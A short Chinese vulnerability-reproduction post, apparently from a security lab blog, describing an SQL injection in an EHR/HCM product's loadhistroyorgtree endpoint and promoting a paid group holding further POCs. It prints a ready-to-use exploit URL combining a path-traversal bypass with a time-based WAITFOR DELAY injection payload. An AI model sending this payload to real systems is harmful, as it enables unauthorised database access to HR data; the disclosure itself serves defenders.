[漏洞复现-77] 宏*-ehr-hcm loadhistroyorgtree sql注入漏洞

     宏*-ehr-hcm loadhistroyorgtree sql注入漏洞，攻击者可构造恶意请求获取系统信息等及其它安全风险。

                受影响URL：

/w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree?isroot=child&parentid=1%27%3BWAITFOR+DELAY+%270%3A0%3A2%27--&kind=2&catalog_id=11&issuperuser=111&manageprive=111&action=111&target=

       简述： 宏*-ehr-hcm loadhistroyorgtree sql注入漏洞，攻击者可构造恶意请求获取系统信息，造成数据系统及其它安全风险。

nuclei脚本

               POC细节发布在知识星球

            专注于漏洞情报分享，不发烂大街的东西。星球外面的兄弟欢迎进来白嫖，不满意三天退款。放心大胆的进来嫖。

(星球内部分工具脚本截图)

星球活跃度

精选主题一

精选主题二

精选主题三

精选主题四

精选主题五

          马赛克安全实验室专注于:漏洞复现、渗透测试、nday、0day、网络安全、红蓝对抗,持续输出安全相关漏洞情报、漏洞复现相关漏洞验证脚本及工具。

工具列表（点击可直接查看）

漏洞分析列表（点击可直接查看）

复现列表（点击可直接查看）